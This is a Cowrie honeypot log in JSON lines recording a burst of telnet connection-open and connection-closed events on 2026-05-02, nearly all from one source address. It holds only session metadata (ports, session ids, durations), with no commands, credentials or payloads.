{"eventid":"cowrie.session.closed","duration":33.18360114097595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:46.010405Z","src_ip":"23.111.140.22","session":"5beb232d2852","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.899142503738403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:46.104332Z","src_ip":"23.111.140.22","session":"652c4868d751","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60294,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d826314114e","protocol":"telnet","message":"New connection: 23.111.140.22:60294 (10.17.0.5:23) [session: 3d826314114e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:46.772177Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33180,"dst_ip":"10.17.0.5","dst_port":23,"session":"6061d801b612","protocol":"telnet","message":"New connection: 23.111.140.22:33180 (10.17.0.5:23) [session: 6061d801b612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:47.077894Z"}
{"eventid":"cowrie.session.closed","duration":30.243199110031128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:47.155482Z","src_ip":"23.111.140.22","session":"4179e0542348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50118,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2fb3ce9ec8d","protocol":"telnet","message":"New connection: 23.111.140.22:50118 (10.17.0.5:23) [session: f2fb3ce9ec8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:47.161366Z"}
{"eventid":"cowrie.session.closed","duration":0.004311800003051758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:47.165604Z","src_ip":"23.111.140.22","session":"f2fb3ce9ec8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982643365859985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:47.309963Z","src_ip":"23.111.140.22","session":"d6a224ab217c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.086644172668457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:47.843070Z","src_ip":"23.111.140.22","session":"cb66dc401072","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.895659685134888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:47.904677Z","src_ip":"23.111.140.22","session":"4cc4641f4987","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41398811340332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:48.001101Z","src_ip":"23.111.140.22","session":"6134aaf24bf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.346006870269775,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:48.213413Z","src_ip":"23.111.140.22","session":"11b17a63d4ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55202,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb4d052f22a3","protocol":"telnet","message":"New connection: 23.111.140.22:55202 (10.17.0.5:23) [session: eb4d052f22a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:49.250605Z"}
{"eventid":"cowrie.session.closed","duration":30.76775622367859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:49.315447Z","src_ip":"23.111.140.22","session":"f12a25facada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.89549994468689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:49.417843Z","src_ip":"23.111.140.22","session":"4894083d17d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969707012176514,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:49.919235Z","src_ip":"23.111.140.22","session":"587a9525ab8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30689239501953,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:49.932813Z","src_ip":"23.111.140.22","session":"1a2a7dd3954f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41942,"dst_ip":"10.17.0.5","dst_port":23,"session":"33a3234cad08","protocol":"telnet","message":"New connection: 23.111.140.22:41942 (10.17.0.5:23) [session: 33a3234cad08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:49.953204Z"}
{"eventid":"cowrie.session.closed","duration":30.664361000061035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:50.055375Z","src_ip":"23.111.140.22","session":"8a0ce5118aa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69143033027649,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:50.061342Z","src_ip":"23.111.140.22","session":"0a6aca97417f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35740,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d723e2c19b","protocol":"telnet","message":"New connection: 23.111.140.22:35740 (10.17.0.5:23) [session: 66d723e2c19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:50.076296Z"}
{"eventid":"cowrie.session.closed","duration":0.005475044250488281,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:50.081561Z","src_ip":"23.111.140.22","session":"66d723e2c19b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42740,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9fa8ad6fe59","protocol":"telnet","message":"New connection: 23.111.140.22:42740 (10.17.0.5:23) [session: c9fa8ad6fe59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:50.200343Z"}
{"eventid":"cowrie.session.closed","duration":30.939301013946533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:50.833722Z","src_ip":"23.111.140.22","session":"1f63eb93a183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48004984855652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:51.515704Z","src_ip":"23.111.140.22","session":"cbcf4cb3d302","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69267725944519,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:52.098035Z","src_ip":"23.111.140.22","session":"58b55ee43ffd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37111783027649,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:52.349589Z","src_ip":"23.111.140.22","session":"39599852c595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14818453788757,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:52.470108Z","src_ip":"23.111.140.22","session":"08b42b8ef4f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.048564434051514,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:52.666571Z","src_ip":"85.106.119.146","session":"2f48749e9526","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53388,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a50c3480c9","protocol":"telnet","message":"New connection: 23.111.140.22:53388 (10.17.0.5:23) [session: d5a50c3480c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:52.964257Z"}
{"eventid":"cowrie.session.closed","duration":30.567912340164185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:53.174944Z","src_ip":"23.111.140.22","session":"f32396943340","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23083996772766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:53.249133Z","src_ip":"23.111.140.22","session":"441ad617fb63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57005739212036,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:53.490372Z","src_ip":"23.111.140.22","session":"235505925ef7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140750885009766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:54.408576Z","src_ip":"23.111.140.22","session":"ee9ca1e921fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.696954011917114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:54.456621Z","src_ip":"23.111.140.22","session":"101e933b31c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02488470077515,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:54.461840Z","src_ip":"23.111.140.22","session":"c905872c2ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.662773847579956,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:54.713763Z","src_ip":"23.111.140.22","session":"6ac3cf0d424d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58434,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cdeeaf07c79","protocol":"telnet","message":"New connection: 23.111.140.22:58434 (10.17.0.5:23) [session: 7cdeeaf07c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:55.506603Z"}
{"eventid":"cowrie.session.closed","duration":31.20772957801819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:56.266568Z","src_ip":"23.111.140.22","session":"02382061aa91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":32888,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e236acf8e4e","protocol":"telnet","message":"New connection: 23.111.140.22:32888 (10.17.0.5:23) [session: 1e236acf8e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:56.364269Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33390,"dst_ip":"10.17.0.5","dst_port":23,"session":"611cfd0e9317","protocol":"telnet","message":"New connection: 23.111.140.22:33390 (10.17.0.5:23) [session: 611cfd0e9317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:56.537286Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34832,"dst_ip":"10.17.0.5","dst_port":23,"session":"d54cbbf00eb5","protocol":"telnet","message":"New connection: 23.111.140.22:34832 (10.17.0.5:23) [session: d54cbbf00eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:56.935399Z"}
{"eventid":"cowrie.session.closed","duration":30.424699783325195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:57.051099Z","src_ip":"23.111.140.22","session":"2ce26c6bbf91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36008,"dst_ip":"10.17.0.5","dst_port":23,"session":"88498f21b9fa","protocol":"telnet","message":"New connection: 23.111.140.22:36008 (10.17.0.5:23) [session: 88498f21b9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:57.277921Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36040,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d80bccc7f77","protocol":"telnet","message":"New connection: 23.111.140.22:36040 (10.17.0.5:23) [session: 6d80bccc7f77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:57.298923Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33546,"dst_ip":"10.17.0.5","dst_port":23,"session":"3572e3fbfab2","protocol":"telnet","message":"New connection: 23.111.140.22:33546 (10.17.0.5:23) [session: 3572e3fbfab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:57.582273Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37104,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5dc5b7d5437","protocol":"telnet","message":"New connection: 23.111.140.22:37104 (10.17.0.5:23) [session: f5dc5b7d5437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:57.658306Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38642,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1b866d1dec","protocol":"telnet","message":"New connection: 23.111.140.22:38642 (10.17.0.5:23) [session: 8f1b866d1dec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.096550Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38830,"dst_ip":"10.17.0.5","dst_port":23,"session":"05742e3f598b","protocol":"telnet","message":"New connection: 23.111.140.22:38830 (10.17.0.5:23) [session: 05742e3f598b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.168678Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35730,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba09b94c6b1f","protocol":"telnet","message":"New connection: 23.111.140.22:35730 (10.17.0.5:23) [session: ba09b94c6b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.196795Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"56991777d5cf","protocol":"telnet","message":"New connection: 23.111.140.22:37022 (10.17.0.5:23) [session: 56991777d5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.629081Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40184,"dst_ip":"10.17.0.5","dst_port":23,"session":"75293b43d70f","protocol":"telnet","message":"New connection: 23.111.140.22:40184 (10.17.0.5:23) [session: 75293b43d70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.638531Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40362,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d5572fcaed5","protocol":"telnet","message":"New connection: 23.111.140.22:40362 (10.17.0.5:23) [session: 1d5572fcaed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.711156Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40892,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdfd15b1cd64","protocol":"telnet","message":"New connection: 23.111.140.22:40892 (10.17.0.5:23) [session: cdfd15b1cd64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.874933Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41014,"dst_ip":"10.17.0.5","dst_port":23,"session":"5541d45b1964","protocol":"telnet","message":"New connection: 23.111.140.22:41014 (10.17.0.5:23) [session: 5541d45b1964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.909764Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38218,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a3e9c6aeab","protocol":"telnet","message":"New connection: 23.111.140.22:38218 (10.17.0.5:23) [session: f4a3e9c6aeab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:58.962314Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38492,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8e6aeead826","protocol":"telnet","message":"New connection: 23.111.140.22:38492 (10.17.0.5:23) [session: b8e6aeead826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.032629Z"}
{"eventid":"cowrie.session.closed","duration":36.88374376296997,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.037407Z","src_ip":"23.111.140.22","session":"1004162f93b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60152,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4122ea0d645","protocol":"telnet","message":"New connection: 23.111.140.22:60152 (10.17.0.5:23) [session: c4122ea0d645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.042891Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42044,"dst_ip":"10.17.0.5","dst_port":23,"session":"925725a474a8","protocol":"telnet","message":"New connection: 23.111.140.22:42044 (10.17.0.5:23) [session: 925725a474a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.236229Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39138,"dst_ip":"10.17.0.5","dst_port":23,"session":"54096df3b6ee","protocol":"telnet","message":"New connection: 23.111.140.22:39138 (10.17.0.5:23) [session: 54096df3b6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.310360Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42370,"dst_ip":"10.17.0.5","dst_port":23,"session":"90d4af67595d","protocol":"telnet","message":"New connection: 23.111.140.22:42370 (10.17.0.5:23) [session: 90d4af67595d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.379801Z"}
{"eventid":"cowrie.session.closed","duration":31.238582134246826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.437101Z","src_ip":"23.111.140.22","session":"b7472c953a67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42870,"dst_ip":"10.17.0.5","dst_port":23,"session":"c62014a2afce","protocol":"telnet","message":"New connection: 23.111.140.22:42870 (10.17.0.5:23) [session: c62014a2afce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.548769Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40546,"dst_ip":"10.17.0.5","dst_port":23,"session":"844e8e11a5e5","protocol":"telnet","message":"New connection: 23.111.140.22:40546 (10.17.0.5:23) [session: 844e8e11a5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:16:59.774597Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44592,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3fa291c4e4","protocol":"telnet","message":"New connection: 23.111.140.22:44592 (10.17.0.5:23) [session: fd3fa291c4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:00.078708Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38582,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4f74c3febea","protocol":"telnet","message":"New connection: 23.111.140.22:38582 (10.17.0.5:23) [session: d4f74c3febea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:00.098645Z"}
{"eventid":"cowrie.session.closed","duration":31.171392917633057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:00.264992Z","src_ip":"23.111.140.22","session":"ca66b89eef5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46228,"dst_ip":"10.17.0.5","dst_port":23,"session":"a99d4d64b243","protocol":"telnet","message":"New connection: 23.111.140.22:46228 (10.17.0.5:23) [session: a99d4d64b243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:00.670516Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40370,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8b619dab02","protocol":"telnet","message":"New connection: 23.111.140.22:40370 (10.17.0.5:23) [session: fa8b619dab02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:00.738685Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39184,"dst_ip":"10.17.0.5","dst_port":23,"session":"1770fd811c7a","protocol":"telnet","message":"New connection: 23.111.140.22:39184 (10.17.0.5:23) [session: 1770fd811c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.328522Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42548,"dst_ip":"10.17.0.5","dst_port":23,"session":"98b7de4a013a","protocol":"telnet","message":"New connection: 23.111.140.22:42548 (10.17.0.5:23) [session: 98b7de4a013a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.476118Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48906,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c2732d8673","protocol":"telnet","message":"New connection: 23.111.140.22:48906 (10.17.0.5:23) [session: 01c2732d8673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.493238Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52400,"dst_ip":"10.17.0.5","dst_port":23,"session":"20ac79d86cb7","protocol":"telnet","message":"New connection: 23.111.140.22:52400 (10.17.0.5:23) [session: 20ac79d86cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.668219Z"}
{"eventid":"cowrie.session.closed","duration":31.60504412651062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.673544Z","src_ip":"23.111.140.22","session":"0252e910f717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49602,"dst_ip":"10.17.0.5","dst_port":23,"session":"013723c54908","protocol":"telnet","message":"New connection: 23.111.140.22:49602 (10.17.0.5:23) [session: 013723c54908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.716740Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50214,"dst_ip":"10.17.0.5","dst_port":23,"session":"5158060a5873","protocol":"telnet","message":"New connection: 23.111.140.22:50214 (10.17.0.5:23) [session: 5158060a5873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.895794Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40984,"dst_ip":"10.17.0.5","dst_port":23,"session":"d33cb2fcbf91","protocol":"telnet","message":"New connection: 23.111.140.22:40984 (10.17.0.5:23) [session: d33cb2fcbf91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:01.902486Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50648,"dst_ip":"10.17.0.5","dst_port":23,"session":"45dc7753ad57","protocol":"telnet","message":"New connection: 23.111.140.22:50648 (10.17.0.5:23) [session: 45dc7753ad57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.009768Z"}
{"eventid":"cowrie.session.closed","duration":31.538512468338013,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.112857Z","src_ip":"23.111.140.22","session":"dd7a6f424f18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.377747058868408,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:17:02.402112Z","src_ip":"23.111.140.22","session":"8b2d864c4e30","protocol":"telnet"}
